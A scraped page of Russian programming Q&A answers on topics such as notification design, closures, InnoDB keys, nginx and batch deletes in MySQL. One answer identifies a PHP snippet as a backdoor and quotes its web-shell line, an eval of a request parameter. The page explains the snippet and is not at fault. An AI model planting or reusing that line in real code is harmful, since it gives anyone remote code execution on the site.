Задать вопрос
  • Как организовать оповещение пользователей?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Во-первых, надо выбросить из головы эту дурь, "хачу изначально писать правильно".
    Изначально надо написать хоть что-то.
    Ни один сайт в мире не писался "изначально правильно". Сначала пишут рабочий прототип, чтобы хотя бы самому понять, что ты делаешь.
    Это принципиальный момент. Варианта тут только два - либо ты делаешь минимальный вариант доступными средствами и потом его развиваешь, либо сидишь на диване и рассуждаешь о самых модных веяниях и в итоге не получаешь ничего. Особенно если даже минимальный вариант реализации для тебя темный лес и загадка века.

    И делать не 100500 способов оповещения, а один.
    То есть сделать таблицу подписки, в которой указано - на какое событие подписался юзер, и его айди.

    После этого написать самый тупой код, который прямо при наступлении события лезет в базу, находит емейлы всех полутора подписантов, и в цикле рассылает им оповещения.

    Одно это уже займёт вас на пару месяцев.

    И только после того как это сделано, после того как заработает хоть что-то, можно начинать думать в сторону других способов. Но опять же, не всех скопом, а по одному. Сделали рассылку в телеграм? Поехали с оповещениями в браузер.

    То же самое касается способа рассылки.
    Только после того как рассылка начинает занимать ощутимое время - и, разумеется, после того как она вообще была сделана - только после этого можно задуматься о сервере очередей, о том что по наступлению события добавляются только задания в очередь, а сами рассылки делают несколько отдельных сервисов и воркеров. И всё это, разумеется, только если проект не загнется раньше/у автора не пропадёт интерес/у него же хватит способностей осилить всю эту премудрость
    Ответ написан
    Комментировать
  • Какие стоит создавать интерфейсы?

    @Akela_wolf
    Extreme Programmer
    А если бы, допустим, в у нас был отдельный интерфейс IMove, то мы смогли бы реализовать его в каком угодно модуле/компоненте, например в условном File, ведь мы можем переместить файл. Так же и с ISleep, мало ли что может уснуть, начиная от операционной системы или потока выполнения, заканчивая персонажем в тамагочи.


    Неверно. IMove (точнее будет назвать Movable) имеет смысл в контексте какой-то предметной области. И перемещение файла, перемещение спрайта, перемещение трехмерного объекта, перемещение руки робота - все это разные перемещения. Соответственно и интерфейсы будут разные (расположенные в разных модулях, даже если будут называться одинаково), например:
    filesystem.Movable
    graphics.2d.Movable
    graphics.3d.Movable
    servo.Movable


    Поэтому ответ - нет, не нужно придумывать что-то общее у разнородных предметов и явлений. Только если это что-то общее позволяет вам как-то лучше моделировать предметную область.

    Вообще главный принцип тут такой: интерфейс должен иметь смысл, описывать некоторую единицу функциональности именно с точки зрения предметной области. Скажем, если в вашей предметной области операция move имеет смысл без операций eat и sleep - её можно выделить в отдельный интерфейс (а можно и не выделять, это зависит от других факторов). Если же операции eat и sleep всегда должны ходить парой и каждый потребитель этого интерфейса нуждается в обеих операциях - они должны быть в одном интерфейсе.
    Ответ написан
    4 комментария
  • На собеседовании сказали, что не все функции - замыкания. Так ли это?

    @Arlekcangp
    Разработчик, Лид, Архитектор ПО
    Похоже вас поймали на том что в js кто-то решил переопределить термин "замыкание"... Т к javascript далеко не первый язык, в котором есть нечто, претендующее называться термином "замыкание", то следует в первую очередь рассмотреть общее определение. Возьмём его из википедии:

    Замыкание (англ. closure) в программировании — функция первого класса, в теле которой присутствуют ссылки на переменные, объявленные вне тела этой функции в окружающем коде и не являющиеся её параметрами. Говоря другим языком, замыкание — функция, которая ссылается на свободные переменные в своей области видимости.
    Замыкание, так же как и экземпляр объекта, есть способ представления функциональности и данных, связанных и упакованных вместе.
    Замыкание — это особый вид функции. Она определена в теле другой функции и создаётся каждый раз во время её выполнения. Синтаксически это выглядит как функция, находящаяся целиком в теле другой функции. При этом вложенная внутренняя функция содержит ссылки на локальные переменные внешней функции. Каждый раз при выполнении внешней функции происходит создание нового экземпляра внутренней функции, с новыми ссылками на переменные внешней функции.
    В случае замыкания ссылки на переменные внешней функции действительны внутри вложенной функции до тех пор, пока работает вложенная функция, даже если внешняя функция закончила работу, и переменные вышли из области видимости.[1]
    Замыкание связывает код функции с её лексическим окружением (местом, в котором она определена в коде). Лексические переменные замыкания отличаются от глобальных переменных тем, что они не занимают глобальное пространство имён. От переменных в объектах они отличаются тем, что привязаны к функциям, а не объектам.


    Как видим из этого длинного определения (а не только его первого предложения) интервьюер оказался формально прав (что является неожиданностью и для меня самого. Кто знает, возможно это веяние нового или всё же творчество чрезмерного ЧСВ js-кодерков, но не будем предвзятыми) Посмотрим дальше...Переходим в английскую версию той же страницы в википедии:

    In programming languages, a closure, also lexical closure or function closure, is a technique for implementing lexically scoped name binding in a language with first-class functions. Operationally, a closure is a record storing a function[a] together with an environment.[1] The environment is a mapping associating each free variable of the function (variables that are used locally, but defined in an enclosing scope) with the value or reference to which the name was bound when the closure was created.[b] Unlike a plain function, a closure allows the function to access those captured variables through the closure's copies of their values or references, even when the function is invoked outside their scope.


    О! А тут нет никаких "функций, вложенных в функцию" и нет никаких "создающихся каждый раз" Хм... Интересно. Ну за то есть абзац о том как появились замыкания:

    The concept of closures was developed in the 1960s for the mechanical evaluation of expressions in the λ-calculus and was first fully implemented in 1970 as a language feature in the PAL programming language to support lexically scoped first-class functions.[2]

    Peter J. Landin defined the term closure in 1964 as having an environment part and a control part as used by his SECD machine for evaluating expressions.[3] Joel Moses credits Landin with introducing the term closure to refer to a lambda expression whose open bindings (free variables) have been closed by (or bound in) the lexical environment, resulting in a closed expression, or closure.[4][5] This usage was subsequently adopted by Sussman and Steele when they defined Scheme in 1975,[6] a lexically scoped variant of Lisp, and became widespread.


    Ага. Оказывается первоначально они появились в такой не конвенциональной, с сегодняшней точки зрения VM, как SECD... И их создатель прямо говорит, что это код плюс данные. Далее термин применяют к лямбда-выражениям. Ничего не говорится, должны ли эти выражения возвращаться функцией, или достаточно того, что бы они захватывали переменные из своего лексического (или динамического, как в common lisp) окружения. Далее нам сообщают, что некие мистеры, Сасман и Стил, спустя каких то 11 лет добавили это в свой язык Scheme... Ну что же. Посмотрим замыкания в Scheme... А именно откроем книгу Сасмана и соавторов "Структура и интерпретация компьютерных программ" или "SICP" Первый раз (исключая содержание) слово "замыкание" встречается в главе 2 "Поcтроение абстракций c помощью данных"


    Важная идея в работе с составными данными — понятие замыкания (closure): клей для
    сочетания объектов данных должен позволять нам склеивать не только элементарные
    объекты данных, но и составные.


    Но, как выяснилось, это не те замыкания... Это замыкание в том смысле, что структуру одного типа (в данном случае пары) могут ссылаться на самих себя. И это то как термин "замыкание" понимают математики. Далее в SICP никаких других определений замыканий нет (несмотря на то, что само их использование конечно же есть) Ну ничего не остаётся как посмотреть что же сегодня называют замыканиями в языке Scheme... Гугл по этому запросу выдал первой ссылкой: https://www.cs.utexas.edu/ftp/garbage/cs345/schint....
    Цитирую:

    Procedures are Closures
    Scheme procedure's aren't really just pieces of code you can execute; they're closures.

    A closure is a procedure that records what environment it was created in. When you call it, that environment is restored before the actual code is executed. This ensures that when a procedure executes, it sees the exact same variable bindings that were visible when it was created--it doesn't just remember variable names in its code, it remembers what storage each name referred to when it was created.

    Since variable bindings are allocated on the heap, not on a stack, this allows procedures to remember binding environments even after the expressions that created those environments have been evaluated. For example, a closure created by a lambda inside a let will remember the let's variable bindings even after we've exited the let. As long as we have a pointer to the procedure (closure), the bindings it refers to are guaranteed to exist. (The garbage collector will not reclaim the procedure's storage, or the storage for the let bindings.)

    Here's an example that may clarify this, and show one way of taking advantage of it.

    Suppose we type the following expression at the Scheme prompt, to be interpreted in a top-level environment:

    Scheme> (let ((count 0))
               (lambda ()
                  (set! count (+ count 1))
                  count)))

    ##

    Evaluating this let expression first creates a binding environment with a binding for count. The initial value of this binding is 0. In this environment, the lambda expression creates a closure. When executed, this procedure will increment the count, and then return its value. (Note that the procedure is not executed yet, however--it's just created.) This procedure, returned by the lambda expression, is also returned as the value of the let expression, because a let returns the value of its last body expression. The read-eval-print loop therefore prints a representation of the (anonymous) procedure.


    Что имеем ? В Scheme - вообще любая функция - это замыкание! Т к она всегда захватывает контекст, даже если там пусто!. Что видим в коде ? Ну с точки зрения Scheme тут конечно вложенная функция, т к let - это на самом деле lambda, но так происходит потому, что в Scheme нет переменных в понимании js. В js же можно считать, что глобальный контекст - результат действия нечто, что эквивалентно let. Захватывает ли любая функция в js этот контекст ? Не знаю. Но точно знаю, что в вашем примере это определенно так - х часть контекста, который захватывается функцией. Кто хочет поспорить - идите спорьте с создателями Scheme (скажите, когда попкорн покупать, я посмотрю как вас пороть будут. Набежало тут вайтишников =)) Кто то может сказать "а вот у нас в js замыкания определяются не так" На что я отвечу: знаете, товарищи, а идите ка вы лесом! Если есть однажды созданный и определенный термин, нужны весьма веские причины что бы менять его определение. Желания левой ноги очередного вайтишника тут не достаточно.
    Ответ написан
    30 комментариев
  • Как разделять названия коммитов на гите на фронт и бэк?

    @mkone112
    Начинающий питонист.
    Я бы вообще разделил репы
    Ответ написан
    4 комментария
  • Как гарантируется ACID в распределенных транзакциях (по мотивам мутной статьи)?

    @Akela_wolf
    Extreme Programmer
    Гарантировать ACID возможно только с ограничениями. В данном случае, то о чем вы говорите, называется "жертвой устойчивости к распаду на секции (то есть сбоя в системе коммуникации между узлами)". См. теорема CAP
    Ответ написан
    Комментировать
  • Почему пятно света от лазерной указки выглядит зернистым?

    fox_12
    @fox_12
    Расставляю биты, управляю заряженными частицами
    https://en.wikipedia.org/wiki/Speckle_(interference)
    Если вкратце - то из-за интерференции когерентного света лазера.
    Ответ написан
    3 комментария
  • Что делает данный код на php?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.
    eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));
    Ответ написан
    Комментировать
  • Как в Agile решается проблема, когда на последних спринтах приходит требование, ради которого придется все переделывать?

    Нет, никакая методология от такого не защищает.

    Но можно немного снизить риски, если на более ранних этапах закладывать архитектуру, которую легко можно будет расширить/изменить.
    Ответ написан
    4 комментария
  • Как работодатели (или HR) относятся к сертификатам онлайн-курсов?

    rozhnev
    @rozhnev
    Fullstack programmer, DBA, медленно, дорого
    В большинстве случаев не важно где Вы учились, гораздо важнеее чему Вы научились. Единственное чем Вам может помочь такой курс - это поставить временные рамки.
    Ответ написан
    Комментировать
  • Деградация передачи данных через php stream_socket_server и неблокируемый режим?

    @antobra Автор вопроса
    Решение:
    1. Убедиться, что PHP-код исправен
    2. Настроить ulimit -u, ulimit -n
    3. Настроить sysctl для highload
    4. Reboot
    Ответ написан
    2 комментария
  • Что наследуется в ООП? Как работает наследование?

    Adamos
    @Adamos
    Publlic / protected / private - это архитектура. Компьютеру они на хрен не нужны, они ограничивают программиста.
    И уж если программист считает, что метод должен быть публичным - значит, любой наследник должен его реализовывать. Если приватным - значит, нечего в него лезть наследникам. Если защищенный - значит, только этот класс и его наследники о том, что он существует, и должны знать.

    А если у вас сын утки плавает, как утка, но молчит, как рыба - это не он урод, а вы с планированием классов обосрались. Нет, не тот парень, от чьих классов вы наследуетесь, а именно вы. И те парни, которым надо будет поддерживать ваш код (если они знают не только о принципе Лисков, но и где вы живете) смогут очень доходчиво вам это объяснить.
    Ответ написан
    5 комментариев
  • Цель - WEB Full-stack. Сносный ли план обучения для новичка?

    vabka
    @vabka Куратор тега Веб-разработка
    Если бы это был вопрос "хороший ли это роадмап для asp net разработчика", то я бы сказал, что это отличный роадмап (за исключением питона, php, фриланса, и в принципе порядка изучения).
    Многое можно учить параллельно (английский)
    Что-то можно отложить (копание в алгоритмах)
    Ну и на счёт источников знаний не уверен - те же "Грокаем Алгоритмы" уж слишком для маслят книга.

    А вот по девопсу я что-то не вижу тут ничего.
    Для девопса важно:
    1. Понимать, как устроен процесс разработки. В идеале ещё и уметь писать код
    2. Уметь работать с ci/cd системами. Gitlab, Azure devops, Jenkins, Teamcity
    3. Уметь работать с git
    4. Уметь работать с линуксовой консолью, и с линуксом в целом
    5. Шарить за docker и k8s
    6. Понимать, что devops - это набор практик, а не должность.
    Ответ написан
    7 комментариев
  • Рекурсия, зачем она нужна, и используете ли вы её?

    New_Horizons
    @New_Horizons
    Бред:
    Самый простой пример: построение дерева элементов с неопределённым уровнем вложенности.

    Неужели если я научусь ей пользоваться и приду в хорошую контору там все (особенно джуны) будут понимать мой код?

    Умение пользоваться рекурсией не залог того, что твой код хороший и понятный.
    Ответ написан
    Комментировать
  • Обращение к записи БД требует некоторой обработки. Что лучше: обработать в скрипте, который обратился, или в хранимой процедуре в БД?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Прежде чем всё это усложнять описанным вами способом, необходимо определиться с ожидаемыми количествами. Насколько много всего будет переменных, насколько много может быть этих объектов, какие ожидаются частоты этих ваших обращений.
    Ещё нужно определиться как вы планируете редактировать наборы изменяемых переменных. Запишете прямо в БД руками, или нужно делать API для редактирования списков?
    Вы собираетесь скрипт запускать при каждом поступлении новой порции данных? Может правильнее запустить его на ожидание порций из пайпа? Или АПИ сделать поверх http.

    По существу вопроса. Минус хранимых процедур в том, что это код, который хранится вместе с данными. Нужно делать отдельные специфические "приседания", чтобы правильно деплоить и обновлять такой код, хранить его в системе контроля версий, мигрировать от версии к версии...
    Быстродействие в обоих случаях будет зависеть от конкретных действий, которые вы будете каждый раз повторять при "обращениях". Однако при наличии "бутылочного горлышка" в этом месте при реализации через хранимые процедуры вы уже мало что там можете сделать. А вот в коде на питоне можно при необходимости добавить воркеров и таски на длительные операции передавать им через очередь.

    В целом задача звучит так, будто делать её надо максимально простым способом без предварительной оптимизации, которая, скорее всего, и не пригодится. Оптимизировать нужно по факту, когда понятно станет где будут проблемные места.
    Ответ написан
    Комментировать
  • Стоит ли грузить голову алгоритмами и структурами данных?

    saboteur_kiev
    @saboteur_kiev Куратор тега IT-образование
    software engineer
    Изучать алгоритмы нельзя просто читая. Надо решать задачки.
    Но для программиста, задачки лучше решать не в тетрадке а на языке программирования.
    Поэтому забивать на программирование не нужно.
    Берите различные задачки по алгоритмам и пишите программы которые этот алгоритм реализуют и что-то считают.
    Но да, чтобы написать программу для алгоритма, надо этот алгоритм сперва понять.

    P.S. Сложные алгоритмы нужны не всем. Начните с простых - с банальных сортировок и обходов массивов/графов.
    Ответ написан
    2 комментария
  • Почему долгий запрос delete к таблице сильно тормозит запросы insert к другим таблицам?

    @Akina
    Сетевой и системный админ, SQL-программист.
    Скорее всего, тормоза связаны с тем, что UNDO для такого массированного удаления весьма объёмен.

    Организуйте удаление пакетами. Скажем, по 10к записей.
    CREATE PROCEDURE delete_rows()
    BEGIN
        SELECT @@autocommit INTO @autocommit;
        SET SESSION autocommit = ON;
        REPEAT
            DELETE FROM bigtable WHERE state=2 LIMIT 10000;
            SELECT SLEEP(1) INTO @tmp;
        UNTIL NOT ROW_COUNT() END REPEAT;
        SET SESSION autocommit = @autocommit;
    END
    Ответ написан
    Комментировать
  • Поможет ли суррогатный ключ увеличить скорость вставки в таблицу?

    @neol
    Если речь про Innodb, то
    Indexes other than the clustered index are known as secondary indexes. In InnoDB, each record in a secondary index contains the primary key columns for the row, as well as the columns specified for the secondary index. InnoDB uses this primary key value to search for the row in the clustered index.

    If the primary key is long, the secondary indexes use more space, so it is advantageous to have a short primary key.

    https://dev.mysql.com/doc/refman/5.7/en/innodb-ind...

    В вольном переводе каждый из ваших вторичных индексов будет содержать в себе значение из primary key (PK) и чем длиннее PK, тем больше все индексы в таблице.
    Вполне вероятно, что при таких раскладах PK даже из 8 байтового bigint сильно выиграет у 36 байтового char+int (а то и 102, если с дуру сделали ID utf8mb4). Как минимум по занимаемому месту.
    Ответ написан
    Комментировать
  • Конструкция if или switch?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    в данном конкретном случае switch явно не нужен.
    switch Нужен когда у вас есть переменная, которую вы хотите сравнить с разными значениями и в зависимости от этого делать разные действия. А вы в качестве условия switch вообще true пишете, и case без завершения - это с точки зрения читабельности, очень неявный OR.
    Ответ написан
    Комментировать
  • Как работает веб-сервер и node js в связке? Зачем нужен Nginx?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега Веб-разработка
    Самое простое - nginx отдаёт статику. На больших объёмах делать это через Ноду неэффективно.
    Посложнее - nginx позволяет управлять ходом запроса. Например, редиректить на https.
    Ещё сложнее - можно настроить nginx, чтобы он умно балансировал запросы между несколькими бэкендами и автоматом блокировал слишком частые попытки подключения.

    Nginx очень хорошо в промышленных масштабах делает определённую часть работы, связанной с http-запросом, поэтому ему эту часть работы и делегируют.
    Ответ написан
    Комментировать
  • Где то слышал что префиксный инкремент работает быстрее чем постфиксный. Это так?

    gbg
    @gbg Куратор тега C++
    Любые ответы на любые вопросы
    Все уже изучено

    Коротко - используйте везде префиксный, тогда отладочный код будет работать чуточку (или даже существенно) быстрее, а сам код будет выглядеть крепко, основательно - как будто сениор писал.
    Ответ написан
    Комментировать